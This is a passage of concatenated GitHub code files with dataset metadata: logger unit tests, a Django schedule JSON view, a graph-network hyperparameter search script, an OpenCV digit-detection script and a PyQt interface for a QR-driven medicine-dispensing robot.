test_format_traceback_line_doesnt_affect_line_without_path(self):\n # sanity check on regular line without a path\n test_str = 'one{0}two{0}three{0}four'.format(os.path.sep)\n\n formatted_line, is_chained = _format_traceback_line(test_str)\n self.assertEqual(formatted_line, [test_str])\n self.assertEqual(is_chained, False)\n\n def test_format_traceback_line_project_name(self):\n test_str = 'File \"foo{0}bar{0}Blah{0}blah{0}test.foo\", line 1, in two{0}three{0}four'.format(os.path.sep)\n\n initialize_logger_settings(project_dir_name=None)\n formatted_line, is_chained = _format_traceback_line(test_str)\n self.assertEqual([[['File \"foo.bar.Blah.blah.test.foo', 'line 1', 'two.three.four']]], formatted_line)\n\n initialize_logger_settings(project_dir_name='bad project name test')\n formatted_line, is_chained = _format_traceback_line(test_str)\n self.assertEqual([[['File \"foo.bar.Blah.blah.test.foo', 'line 1', 'two.three.four']]], formatted_line)\n\n initialize_logger_settings(project_dir_name=\"blah\")\n formatted_line, is_chained = _format_traceback_line(test_str)\n self.assertEqual([[['blah.test.foo', 'line 1', 'two.three.four']]], formatted_line)\n\n def test_format_traceback_line_file_line_not_match_format(self):\n test_str = 'File test string lalala'\n formatted_line, is_chained = _format_traceback_line(test_str)\n self.assertEqual(['no match for exception formatter, showing raw input', test_str, test_str], formatted_line)\n\n def test_random_chance(self):\n test_logger = register_logger('test_logger')\n yes_test = test_logger.info(msg='This should log', return_it=True, log_it=False, likelihood=100, out_of=100)\n self.assertIsNotNone(yes_test)\n no_test = test_logger.info(msg='This should not log', return_it=True, log_it=False, likelihood=0, out_of=100)\n self.assertIsNone(no_test)\n no_test = test_logger.exception(msg='This should not log', return_it=True, log_it=False, likelihood=0, out_of=100)\n self.assertIsNone(no_test)\n\n def test_debug_hook(self):\n mock_test_hook = Mock()\n\n initialize_logger_settings(debug_hook_fn=mock_test_hook, global_log_level=logging.DEBUG)\n test_logger = register_logger('test')\n test_logger.debug('foo')\n test_logger.info('foo')\n\n self.assertEqual(mock_test_hook.call_count, 1)\n mock_test_hook.assert_called_once_with('foo')\n mock_test_hook.reset_mock()\n\n initialize_logger_settings(reset_values_if_not_argument=True, update_existing=True)\n test_logger.debug('foo')\n test_logger.info('foo')\n self.assertEqual(mock_test_hook.call_count, 0)\n\n def test_testing_hook(self):\n mock_test_hook = Mock()\n\n initialize_logger_settings(testing_hook_fn=mock_test_hook, reset_values_if_not_argument=True)\n test_logger = register_logger('test')\n test_logger.info('foo')\n self.assertEqual(mock_test_hook.call_count, 0)\n\n initialize_logger_settings(is_testing_fn=True, update_existing=True)\n test_logger = register_logger('test')\n test_logger.info('foo')\n self.assertEqual(mock_test_hook.call_count, 1)\n mock_test_hook.assert_called_once_with('foo')\n mock_test_hook.reset_mock()\n\n initialize_logger_settings(reset_values_if_not_argument=True, update_existing=True)\n test_logger.info('foo')\n self.assertEqual(mock_test_hook.call_count, 0)\n\n def test_log_levels(self):\n set_global_log_level(logging.CRITICAL)\n test_logger = register_logger('test_logger')\n self.assertIsNone(test_logger.debug('test', return_it=True, log_it=False))\n self.assertIsNone(test_logger.info('test', return_it=True, log_it=False))\n self.assertIsNone(test_logger.warn('test', return_it=True, log_it=False))\n self.assertIsNone(test_logger.error('test', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.critical('test', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.exception('e', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.exception(e=None, msg='e', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.log_exception_info(e=None, msg='e', return_it=True, log_it=False))\n test_logger.setLevel(logging.DEBUG)\n self.assertIsNotNone(test_logger.debug('test', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.info('test', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.warn('test', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.error('test', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.critical('test', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.exception('e', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.exception(e=None, msg='e', return_it=True, log_it=False))\n self.assertIsNotNone(test_logger.log_exception_info(e=None, msg='e', return_it=True, log_it=False))\n test_logger.disabled = True\n self.assertIsNone(test_logger.debug('test', return_it=True, log_it=False))\n self.assertIsNone(test_logger.log_exception_info(e=None, msg='e', return_it=True, log_it=False))\n\n def test_set_global_log_level(self):\n set_global_log_level(logging.WARNING)\n test_logger1 = register_logger('test_logger1')\n\n logged = test_logger1.log(logging.DEBUG, return_it=True, log_it=False, msg='lalala')\n self.assertIsNone(logged)\n\n logged = test_logger1.log(logging.WARNING, return_it=True, log_it=False, msg='lalala')\n logged = json.loads(logged)\n del logged['meta']['time']\n test_compare_log_obj = {'meta': {'name': test_logger1.name, 'level': 'WARNING'}, 'msg': 'lalala'}\n self.assertEqual(test_compare_log_obj, logged)\n\n #\n set_global_log_level(logging.INFO, update_existing=True)\n logged = test_logger1.log(logging.INFO, return_it=True, log_it=False, msg='lalala')\n logged = json.loads(logged)\n del logged['meta']['time']\n test_compare_log_obj = {'meta': {'name': test_logger1.name, 'level': 'INFO'}, 'msg': 'lalala'}\n self.assertEqual(test_compare_log_obj, logged)\n\n test_logger2 = register_logger('test_logger2')\n logged = test_logger2.log(logging.INFO, return_it=True, log_it=False, msg='lalala')\n logged = json.loads(logged)\n del logged['meta']['time']\n test_compare_log_obj = {'meta': {'name': test_logger2.name, 'level': 'INFO'}, 'msg': 'lalala'}\n self.assertEqual(test_compare_log_obj, logged)\n\n #\n set_global_log_level(logging.DEBUG, update_existing=False)\n test_logger3 = register_logger('test_logger3')\n logged = test_logger3.log(logging.DEBUG, return_it=True, log_it=False, msg='lalala')\n logged = json.loads(logged)\n del logged['meta']['time']\n test_compare_log_obj = {'meta': {'name': test_logger3.name, 'level': 'DEBUG'}, 'msg': 'lalala'}\n self.assertEqual(test_compare_log_obj, logged)\n\n logged = test_logger1.log(logging.DEBUG, return_it=True, log_it=False, msg='lalala')\n self.assertIsNone(logged)\n\n def test_register_deregister(self):\n test_logger1 = register_logger('test_logger')\n self.assertEqual(test_logger1.disabled, False)\n\n deregister_logger(test_logger1)\n self.assertEqual(test_logger1.disabled, True)\n\n test_logger1a = register_logger('test_logger')\n self.assertEqual(test_logger1a.disabled, False)\n self.assertIsNot(test_logger1, test_logger1a)\n\n def test_deregister(self):\n test_logger1 = register_logger('test1')\n test_logger2 = register_logger('test2')\n test_logger3 = register_logger('test3')\n test_logger4 = register_logger('test4')\n test_logger5 = register_logger('test5')\n from advanced_logger.advanced_logger import _registered_loggers\n\n self.assertEqual(len(_registered_loggers), 5)\n\n test_logger1.deregister()\n self.assertEqual(len(_registered_loggers), 4)\n self.assertEqual(test_logger1.disabled, True)\n\n deregister_logger(test_logger2)\n self.assertEqual(len(_registered_loggers), 3)\n self.assertEqual(test_logger2.disabled, True)\n\n deregister_logger('test3')\n self.assertEqual(len(_registered_loggers), 2)\n self.assertEqual(test_logger3.disabled, True)\n self.assertEqual(test_logger4.disabled, False)\n\n clear_all_loggers()\n self.assertEqual(len(_registered_loggers), 0)\n self.assertEqual(test_logger4.disabled, True)\n self.assertEqual(test_logger5.disabled, True)\n\n register_logger('test1')\n register_logger('test2')\n register_logger('test3')\n register_logger('foobar3')\n register_logger('foobar4')\n register_logger('leftover')\n self.assertEqual(len(_registered_loggers), 6)\n clear_all_loggers(exact_filter='test')\n self.assertEqual(len(_registered_loggers), 6)\n clear_all_loggers(exact_filter='test3')\n self.assertEqual(len(_registered_loggers), 5)\n clear_all_loggers(substr_filter='test')\n self.assertEqual(len(_registered_loggers), 3)\n clear_all_loggers(regex_filter=re.compile('^foobar'))\n self.assertEqual(len(_registered_loggers), 1)\n clear_all_loggers()\n self.assertEqual(len(_registered_loggers), 0)\n\n def test_logger_prefix(self):\n initialize_logger_settings(global_log_name_prefix='TEST_PREFIX')\n test_logger = register_logger('test_logger')\n self.assertEqual('TEST_PREFIXtest_logger', test_logger.name)\n\n initialize_logger_settings(global_log_name_prefix='TEST_PREFIX2')\n test_logger = register_logger('test_logger')\n self.assertEqual('TEST_PREFIX2test_logger', test_logger.name)\n\n def test_log_it(self):\n # actually test logging something, as all the other tests have been using log_it=False, return_it=True\n test_logger = register_logger('test_logger', logging.DEBUG)\n self.assertIsNotNone(test_logger.debug('Testing logger output to stdout case 1', return_it=True, log_it=True))\n self.assertIsNone(test_logger.debug('Testing logger output to stdout case 2', return_it=False, log_it=True))\n self.assertIsNone(test_logger.debug('Testing logger output to stdout case 3'))\n self.assertIsNone(test_logger.exception('Testing logger output to stdout case 3'))\n self.assertIsNone(test_logger.exception('Testing logger output to stdout case 3', indent=2))\n\n # def test_basic_config(self):\n # Should fully test this eventually\n # self.fail()\n #\n # def test_initialize_settings(self):\n # Should fully test this eventually\n # self.fail()\n","repo_name":"EveryMundo/python-advanced-logger","sub_path":"tests/tests_general.py","file_name":"tests_general.py","file_ext":"py","file_size_in_byte":11832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"9872752539","text":"# pylint: disable=no-member, line-too-long\n\nimport json\n\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .models import QuestionSet, ScheduledItem\n\n@csrf_exempt\ndef schedule_json(request, identifier): # pylint: disable=unused-argument\n seen_questions = []\n\n items = []\n\n for item in ScheduledItem.objects.filter(respondent=identifier).order_by('date', 'start_time'):\n item_dict = item.to_dict()\n\n items.append(item_dict)\n\n if (item_dict['questions'] in seen_questions) is False:\n seen_questions.append(item_dict['questions'])\n\n questions = {}\n\n for question_id in seen_questions:\n questions[question_id] = QuestionSet.objects.filter(identifier=question_id).first().to_dict()\n\n payload = {\n 'schedule': items,\n 'questions': questions\n }\n\n return HttpResponse(json.dumps(payload, indent=2), content_type='application/json', status=200)\n","repo_name":"audacious-software/QuestionKit-Django","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"30854359899","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@Author : Weimin Zhu\r\n@Time : 2021-10-01\r\n@File : cross_validate.py\r\n\"\"\"\r\n\r\nimport os\r\nimport yaml\r\nimport numpy as np\r\nfrom copy import deepcopy\r\nfrom hyperopt import fmin, hp, tpe\r\n\r\nimport torch\r\n\r\nfrom model import build_model\r\nfrom train import train, parse_args\r\nfrom utils import create_logger, get_task_names\r\n\r\n\r\n# ---------------------------------------\r\n# 10 folds cross validation\r\n# ---------------------------------------\r\ndef cross_validate(cfg, logger):\r\n \"\"\"k-fold cross-validation.\r\n\r\n \"\"\"\r\n\r\n # Initialize relevant variables\r\n init_seed = cfg.SEED\r\n out_dir = cfg.OUTPUT_DIR\r\n task_names = get_task_names(os.path.join(cfg.DATA.DATA_PATH, 'raw/{}.csv'.format(cfg.DATA.DATASET)))\r\n\r\n # Run training on different random seeds for each fold\r\n all_scores = []\r\n for fold_num in range(cfg.NUM_FOLDS):\r\n cfg.defrost()\r\n cfg.SEED = init_seed + fold_num\r\n cfg.OUTPUT_DIR = os.path.join(out_dir, f'fold_{fold_num}')\r\n cfg.freeze()\r\n logger.info(f'Fold {fold_num}')\r\n model_scores = train(cfg, logger)\r\n all_scores.append(model_scores)\r\n all_scores = np.array(all_scores)\r\n\r\n # Report results\r\n cfg.defrost()\r\n cfg.OUTPUT_DIR = out_dir\r\n cfg.freeze()\r\n logger.info(f'{cfg.NUM_FOLDS}-fold cross validation')\r\n\r\n # Report scores for each fold\r\n for fold_num, scores in enumerate(all_scores):\r\n logger.info(f'Seed {init_seed + fold_num} ==> test {cfg.DATA.METRIC} = {np.nanmean(scores):.3f}')\r\n if cfg.SHOW_EACH_SCORES:\r\n for task_name, score in zip(task_names, scores):\r\n logger.info(f'Seed {init_seed + fold_num} ==> test {task_name} {cfg.DATA.METRIC} = {score:.3f}')\r\n\r\n # Report scores across models\r\n avg_scores = np.nanmean(all_scores, axis=1)\r\n mean_score, std_score = np.nanmean(avg_scores), np.nanstd(avg_scores)\r\n logger.info(f'Overall test {cfg.DATA.METRIC} = {mean_score:.3f} ± {std_score:.3f}')\r\n\r\n if cfg.SHOW_EACH_SCORES:\r\n for task_num, task_name in enumerate(task_names):\r\n logger.info(f'Overall test {task_name} {cfg.DATA.METRIC} = '\r\n f'{np.nanmean(all_scores[:, task_num]):.3f} ± {np.nanstd(all_scores[:, task_num]):.3f}')\r\n\r\n return mean_score, std_score\r\n\r\n\r\n# ---------------------------------------\r\n# Hyperparameters optimization\r\n# ---------------------------------------\r\nSPACE = {\r\n 'MODEL.HID': hp.choice('dim', [64, 128, 256]),\r\n 'MODEL.SLICES': hp.choice('slices', [1, 2, 4]),\r\n 'MODEL.DROPOUT': hp.quniform('dropout', low=0.0, high=0.5, q=0.1),\r\n 'MODEL.DEPTH': hp.choice('depth', [2, 3, 4]),\r\n 'TRAIN.OPTIMIZER.BASE_LR': hp.loguniform('lr', np.log(1e-4), np.log(1e-2)),\r\n 'TRAIN.OPTIMIZER.WEIGHT_DECAY': hp.choice('l2', [1e-4, 1e-5, 1e-6]),\r\n}\r\nINT_KEYS = ['MODEL.HID', 'MODEL.DEPTH', 'MODEL.SLICES']\r\n\r\n\r\ndef hyperopt(cfg, logger):\r\n \"\"\"Runs hyperparameter optimization on a HiGNN model.\r\n\r\n \"\"\"\r\n # Save path for best hyperparameters\r\n yaml_name = \"best_{}_{}.yaml\".format(cfg.DATA.DATASET, cfg.TAG)\r\n cfg_save_path = os.path.join(cfg.OUTPUT_DIR, yaml_name)\r\n # Run\r\n results = []\r\n\r\n # Define hyperparameter optimization\r\n def objective(hyperparams):\r\n # Convert hyperparams from float to int when necessary\r\n for key in INT_KEYS:\r\n hyperparams[key] = int(hyperparams[key])\r\n\r\n # Update args with hyperparams\r\n hyper_cfg = deepcopy(cfg)\r\n if hyper_cfg.OUTPUT_DIR is not None:\r\n folder_name = f'round_{hyper_cfg.HYPER_COUNT}'\r\n hyper_cfg.defrost()\r\n hyper_cfg.OUTPUT_DIR = os.path.join(hyper_cfg.OUTPUT_DIR, folder_name)\r\n hyper_cfg.freeze()\r\n hyper_cfg.defrost()\r\n opts = list()\r\n for key, value in hyperparams.items():\r\n opts.append(key)\r\n opts.append(value)\r\n hyper_cfg.merge_from_list(opts)\r\n hyper_cfg.freeze()\r\n\r\n # Record hyperparameters\r\n cfg.defrost()\r\n cfg.HYPER_COUNT += 1\r\n cfg.freeze()\r\n logger.info(f'round_{hyper_cfg.HYPER_COUNT - 1}')\r\n logger.info(hyperparams)\r\n\r\n # Cross validate\r\n mean_score, std_score = cross_validate(hyper_cfg, logger)\r\n\r\n # Record results\r\n temp_model = build_model(hyper_cfg)\r\n num_params = sum(param.numel() for param in temp_model.parameters() if param.requires_grad)\r\n logger.info(f'num params: {num_params:,}')\r\n logger.info(f'{mean_score} ± {std_score} {hyper_cfg.DATA.METRIC}')\r\n\r\n results.append({\r\n 'mean_score': mean_score,\r\n 'std_score': std_score,\r\n 'hyperparams': hyperparams,\r\n 'num_params': num_params\r\n })\r\n\r\n # Deal with nan\r\n if np.isnan(mean_score):\r\n if hyper_cfg.DATA.TASK_TYPE == 'classification':\r\n mean_score = 0\r\n else:\r\n raise ValueError('Can\\'t handle nan score for non-classification dataset.')\r\n\r\n return (-1 if hyper_cfg.DATA.TASK_TYPE == 'classification' else 1) * mean_score\r\n\r\n fmin(objective, SPACE, algo=tpe.suggest, max_evals=cfg.NUM_ITERS, verbose=False)\r\n\r\n # Report best result\r\n results = [result for result in results if not np.isnan(result['mean_score'])]\r\n best_result = \\\r\n min(results, key=lambda result: (-1 if cfg.DATA.TASK_TYPE == 'classification' else 1) * result['mean_score'])\r\n logger.info('best result')\r\n logger.info(best_result['hyperparams'])\r\n logger.info(f'num params: {best_result[\"num_params\"]:,}')\r\n logger.info(f'{best_result[\"mean_score\"]} ± {best_result[\"std_score\"]} {cfg.DATA.METRIC}')\r\n\r\n # Save best hyperparameter settings as yaml config file\r\n with open(cfg_save_path, 'w') as f:\r\n yaml.dump(best_result['hyperparams'], f, indent=4, sort_keys=True)\r\n\r\n\r\nif __name__ == '__main__':\r\n _, cfg = parse_args()\r\n\r\n logger = create_logger(cfg)\r\n\r\n # print device mode\r\n if torch.cuda.is_available():\r\n logger.info('GPU mode...')\r\n else:\r\n logger.info('CPU mode...')\r\n\r\n # training\r\n if cfg.HYPER:\r\n # Add MODEL.R of the feture attention module\r\n if cfg.MODEL.F_ATT:\r\n SPACE.update({'MODEL.R': hp.choice('R', [1, 2, 4])})\r\n INT_KEYS.append('MODEL.R')\r\n # Add LOSS.ALPHA and LOSS.TEMPERATURE of the contrastive block\r\n if cfg.MODEL.BRICS and cfg.LOSS.CL_LOSS:\r\n SPACE.update({'LOSS.ALPHA': hp.choice('alpha', [0.1, 0.15, 0.2, 0.25])})\r\n SPACE.update({'LOSS.TEMPERATURE': hp.choice('temperature', [0.07, 0.1, 0.2])})\r\n # Delete the parameters you don’t want to optimize\r\n if cfg.HYPER_REMOVE is not None:\r\n for i in cfg.HYPER_REMOVE:\r\n del SPACE[i]\r\n INT_KEYS = [i for i in INT_KEYS if i not in cfg.HYPER_REMOVE]\r\n hyperopt(cfg, logger)\r\n\r\n else:\r\n logger.info(cfg.dump())\r\n cross_validate(cfg, logger)\r\n\r\n","repo_name":"idrugLab/hignn","sub_path":"source/cross_validate.py","file_name":"cross_validate.py","file_ext":"py","file_size_in_byte":7029,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"27"} +{"seq_id":"27083243515","text":"#importingcv2&numpy:\nimport os\n\nimport cv2\nimport numpy as np\nfrom PIL import Image\nfrom adjustcontrast import automatic_brightness_and_contrast\nfrom matplotlib import pyplot as plt\nfrom backgroundremover import backgroundremover\n\npath = 'Images'\nfor filename in os.listdir(path):\n print(str(path+'/'+filename))\n # Read input image and resize 3shan yb2o kolohom haga wahda bnfs el size for any filters b3d kda:\n #\n inputImage = cv2.imread(path + '/' + filename)\n\n #removing background\n #7oto el images fe nfs l folder w esmaha .png fe l bracket hena taht\n backgroundremoved=backgroundremover(path + '/' + filename)\n cv2.imshow(\"Image\",backgroundremoved)\n\n #adjusting contrast\n\n outputImage,a,b= automatic_brightness_and_contrast(backgroundremoved)\n cv2.imshow(\"Image\",outputImage)\n\n # Read input image and resize 3shan yb2o kolohom haga wahda bnfs el size for any filters b3d kda:\n #inputImage = cv2.imread('13.png')\n inputCopy = outputImage.copy()\n inputImage = cv2.resize(outputImage, (100,75))\n inputCopy = cv2.resize(inputCopy, (100,75))\n\n # Convert BGR to grayscale:\n grayscaleImage = cv2.cvtColor(inputImage, cv2.COLOR_BGR2GRAY)\n\n # Set the adaptive thresholding:\n windowSize = 31\n windowConstant = -1\n\n # Apply the threshold:\n binaryImage = cv2.adaptiveThreshold(grayscaleImage, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, windowSize, windowConstant)\n\n # Perform Connected Components:\n componentsNumber, labeledImage, componentStats, componentCentroids = cv2.connectedComponentsWithStats(binaryImage, connectivity=4)\n\n # Set the minimum pixels for the area filter to filter connected components:\n minArea = 20\n\n # Get the indices/labels of the remaining components based on the area stat\n # (skip the background component at index 0)\n remainingComponentLabels = [i for i in range(1, componentsNumber) if componentStats[i][4] >= minArea]\n\n # Filter the labeled pixels based on the remaining labels,\n # assign pixel intensity to 255 (uint8) for the remaining pixels\n #y3ni b3d de el mafood yfdal the largest connected components that hopefully contains the digits\n #one problem is that background connected components may still exist\n filteredImage = np.where(np.isin(labeledImage, remainingComponentLabels) == True, 255, 0).astype('uint8')\n\n # Set kernel (structuring element) size:\n kernelSize = 3\n\n # Set operation iterations:\n opIterations = 1\n\n # Get the structuring element:\n maxKernel = cv2.getStructuringElement(cv2.MORPH_RECT, (kernelSize, kernelSize))\n\n # Perform closing:\n closingImage = cv2.morphologyEx(filteredImage, cv2.MORPH_CLOSE, maxKernel, None, None, opIterations, cv2.BORDER_REFLECT101)\n\n # perform canny edge detection:\n edge_image = cv2.Canny(grayscaleImage, 100, 200)\n\n # Get each bounding box\n # Find the big contours on the filtered image:\n contours, hierarchy = cv2.findContours(edge_image, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)\n\n contours_poly = [None] * len(contours)\n # The Bounding Rectangles will be stored here:\n boundRect = []\n\n # Alright, just look for the outer bounding boxes:\n for i, c in enumerate(contours):\n\n if hierarchy[0][i][3] == -1:\n contours_poly[i] = cv2.approxPolyDP(c, 3, True)\n boundRect.append(cv2.boundingRect(contours_poly[i]))\n\n print(len(boundRect))\n # Draw the bounding boxes on the (copied) input image:\n for i in range(len(boundRect)):\n color = (0, 255, 0)\n #filter contours according to the area of the rectangle (parameter re5em)\n if (int(boundRect[i][2])*int(boundRect[i][3])>100 and int(boundRect[i][2])*int(boundRect[i][3])<1000 ):\n cv2.rectangle(inputCopy, (int(boundRect[i][0]), int(boundRect[i][1])),\n (int(boundRect[i][0] + boundRect[i][2]), int(boundRect[i][1] + boundRect[i][3])), color, 2)\n\n\n\n cv2.imshow(\"Image\",inputCopy)\n cv2.waitKey(0)\n\n\n# issues when digit is written in dark (used edge detection bs bardo lsa mesh zabta awi w bytl3 contours aktr 3shan el edges ely barra)\n# issues thresholding the rectangle area size","repo_name":"aGayar30/phase1","sub_path":"alaa2.py","file_name":"alaa2.py","file_ext":"py","file_size_in_byte":4170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"42158024852","text":"import sys\nfrom src.Vision.QR_reader import *\nfrom src.data import data_handler\nimport urllib.request\nimport cv2\nimport numpy as np\nfrom pyzbar import pyzbar\n\n\nfrom PyQt5.QtWidgets import (\n QApplication, \n QLabel, \n QPushButton, \n QVBoxLayout, \n QWidget, \n QFileDialog, \n QGridLayout, \n QMessageBox, \n QListWidget,\n QListWidgetItem,\n )\n\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5 import QtGui, QtCore, QtWidgets\nfrom PyQt5.QtGui import QCursor\nfrom PyQt5 import QtTest\n\nimport serial\n# Para usar la biblioteca serial se debe utilizar el sudo python\n# Desde Ubuntu con miniconda3 se debe hacer de la siguiente forma:\n\n# sudo ~/miniconda3/envs/\"ENVIRONMENT NAME\"/bin/python3 qtpy.py\n\nroot_path = \"./src/GUI\"\n\n# Dirección del ARDUINO\narduino = serial.Serial(port='/dev/ttyACM0', baudrate=115200, timeout=.2)\n\n# URL DE LA PRIMERA CAMARA: camara de pedidos\nurl = \"http://192.168.205.83:8080/shot.jpg\"\n\n# URL DE LA SEGUNDA CAMARA: camara de reposición\nurl_repo = \"http://192.168.205.48:8080/shot.jpg\"\n\nocupado = False\nbandera = False\n\nwidgets = {\n \"logo\": [],\n \"button\": [],\n \"qrshow\":[],\n \"message\":[],\n \"lists\":[]\n }\n\nsalida = False\n\napp = QApplication(sys.argv)\nwindow = QWidget()\nwindow.setWindowTitle(\"Mecabot - Bienvenido\")\nwindow.setFixedWidth(1000)\nwindow.move(2700, 200)\nwindow.setStyleSheet(\"background: #91BEF7;\")\n\ngrid = QGridLayout()\n\n\ndef crear_mensaje(msj):\n mensaje = QLabel(msj)\n mensaje.setAlignment(QtCore.Qt.AlignCenter)\n mensaje.setStyleSheet(\n '''\n font-size: 25px;\n font-style: Bold;\n '''\n )\n return mensaje\n\n\ndef clear_widgets():\n for widget in widgets:\n for i in range(0, len(widgets[widget])):\n if widgets[widget] != []:\n widgets[widget][-1].hide()\n widgets[widget].pop()\n\n\ndef createButton(words):\n button = QPushButton(words)\n button.setCursor(QCursor(QtCore.Qt.PointingHandCursor))\n button.setStyleSheet(\n '''\n *{background-color: white;\n border: 2px solid #008CBA; /* Blue */\n color: black;\n padding: 25px 0px;\n text-align: center;\n text-decoration: none;\n font-size: 16px;}\n *:hover\n {\n background-color: #008CBA; /* Blue */\n color: white;\n }\n '''\n )\n return button\n\n\ndef alerta(medicamento):\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Information)\n\n msg.setText(\"¿Usted está seguro que desea este medicamento?\")\n msg.setInformativeText(\"Cuando presione 'Ok' se procederá a traerle \"+ str(medicamento))\n msg.setWindowTitle(\"¿Está seguro?\")\n msg.setDetailedText(\"\")\n msg.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n\n retval = msg.exec_()\n return retval\n\n\ndef frame_home():\n \"\"\"\n Frame de pantalla principal\n\n Aparece el logo y dos botones:\n --------------\n | MECABOT |\n --------------\n -Escanear código QR\n -Listar los medicamentos disponibles\n \"\"\"\n global ocupado, arduino, bandera\n bandera = False\n clear_widgets()\n #display Logo\n image = QPixmap(f\"{root_path}/img/logo.png\")\n logo = QLabel()\n logo.setPixmap(image)\n logo.setAlignment(QtCore.Qt.AlignCenter)\n logo.setStyleSheet(\"margin-top:50px; margin-bottom:50px\")\n widgets[\"logo\"].append(logo)\n\n #button widget\n button1 = createButton(\"Escanear código QR\")\n button2 = createButton(\"Listar los medicamentos disponibles\")\n button1.clicked.connect(frame_QR)\n button2.clicked.connect(show_frame_listar)\n\n widgets[\"button\"].append(button1)\n\n grid.addWidget(widgets[\"logo\"][-1], 0, 0)\n grid.addWidget(widgets[\"button\"][-1], 1, 0)\n widgets[\"button\"].append(button2)\n grid.addWidget(widgets[\"button\"][-1], 2, 0)\n\n # Verifica si se apretó el botón de reposición - Comunicación con ARDUINO\n while True:\n data = arduino.readline().decode()\n\n if bandera:\n break\n print(ascii(data))\n if data == \"ocupado\\r\\n\":\n break\n QtTest.QTest.qWait(500)\n if data == \"ocupado\\r\\n\":\n print(\"Intentó ir al frame reposición\")\n frame_reposicion()\n\n\ndef frame_QR():\n \"\"\"\n Muestra la cámara en la pantalla principal para que la persona pueda poner\n el código QR donde corresponde y luego cuando detecta el código le aparece\n un mensaje emergente que debe de aceptar para que se busque el medicamento\n indicado.\n \n Puede ser llamado a través del frame_home (pantalla principal) y luego va al\n frame de espera o al frame principal con el botón volver.\n \n Al detectar el medicamento envía un mensaje al arduino con la ubicación del\n medicamento que se tomará.\n\n El QR tiene como formato: ID:medicamento:cantidad\n \"\"\"\n global url,bandera,arduino\n bandera = True\n while True:\n # Se hace la detección del código QR y se guarda en qr\n clear_widgets()\n imgResp = urllib.request.urlopen(url)\n imgNp = np.array(bytearray(imgResp.read()), dtype=np.uint8)\n img = cv2.imdecode(imgNp, -1)\n qr = getQRS(img)\n print(qr)\n # Se supone que hay un solo qr en la imagen\n first_qr = qr[0] if qr else {}\n \n \n small = cv2.resize(img, (0,0), fx=0.3, fy=0.3) \n smallqt = convert_cv_qt(window,small)\n \n # Muestra cada pantallazo\n qrshow = QLabel()\n qrshow.setPixmap(smallqt)\n qrshow.setAlignment(QtCore.Qt.AlignCenter)\n qrshow.setStyleSheet(\"margin-top:50px; margin-bottom:50px\")\n widgets[\"qrshow\"].append(qrshow)\n grid.addWidget(widgets[\"qrshow\"][-1], 1, 0)\n button1 = createButton(\"Volver\")\n button1.clicked.connect(frame_home)\n QtTest.QTest.qWait(50)\n \n # Comunicación con ARDUINO\n # Condición de medicamento detectado, se retira el medicamento que se encontró en el QR\n if qr != []:\n if alerta(first_qr[\"text\"].split(\":\")[1])==1024:\n # una vez que se encuentra el medicamento se debe de decir el lugar donde está\n # y mandar eso al arduino\n ID = first_qr[\"text\"].split(\":\")[0]\n # buscar_medicamento le tiene que dar la posición del rack por ahí que estaría\n # enumerado del 0 al 15\n medicamento_detectado = data_handler.search_box(ID) # ATENCION si es None\n print(\"se encuentra en\", medicamento_detectado)\n if medicamento_detectado is None:\n frame_sin_medicamento()\n arduino.write((medicamento_detectado+\"\\n\").encode('UTF-8'))\n break\n else: \n continue\n frame_despacho()\n\n\ndef frame_despacho():\n \"\"\"\n Este frame se encarga de mostrar la animación de espera\n mientras el robot trae el medicamento.\n \n Mientras que muestra los frames espera la palabra clave\n del arduino a través de UART, lo decodifica y lo compara\n y cuando al fin lo recibe muestra el frame de retirar\n medicamento.\n \"\"\"\n global salida\n n=0\n while(True):\n frame_espera(1, msg=\"El robot está trayendo su pedido.\")\n \n # Condición de salida - Comunicación con ARDUINO\n salida = arduino.readline().decode() == \"retirar\\r\\n\"\n print(salida)\n if salida == True:\n break\n \n QtTest.QTest.qWait(500)\n frame_espera(2, msg=\"El robot está trayendo su pedido.\")\n \n # Condición de salida - Comunicación con ARDUINO\n salida = arduino.readline().decode() == \"retirar\\r\\n\"\n print(salida)\n if salida == True:\n break\n \n QtTest.QTest.qWait(500)\n frame_retirar()\n\n\ndef show_frame_listar():\n clear_widgets()\n frame_listar()\n\n\ndef frame_listar():\n \n global bandera\n bandera = True\n \n mensaje = crear_mensaje(\"Aquí se muestran todos los medicamentos disponibles\")\n \n lista_medicamentos = data_handler.list_racks()\n lista = QListWidget()\n [lista.addItem(QListWidgetItem(medicamento[1])) for medicamento in lista_medicamentos]\n lista.setStyleSheet(\n '''\n font-size: 16px;\n padding: 25px;\n border: 2px solid #008CBA;\n border-radius: 10px;\n '''\n )\n \n button = createButton(\"Volver\")\n button.clicked.connect(start_program)\n \n \n widgets[\"message\"].append(mensaje)\n grid.addWidget(widgets[\"message\"][-1], 0, 1)\n widgets[\"lists\"].append(lista)\n grid.addWidget(widgets[\"lists\"][-1], 1, 1)\n widgets[\"button\"].append(button)\n grid.addWidget(widgets[\"button\"][-1], 2, 1)\n \n\ndef frame_espera(logo_espera, msg):\n clear_widgets() # primero se limpia\n #accion es un booleano que especifica si va a esperar o no\n image = QPixmap(f\"{root_path}/img/{logo_espera}.png\")\n logo = QLabel()\n logo.setPixmap(image)\n 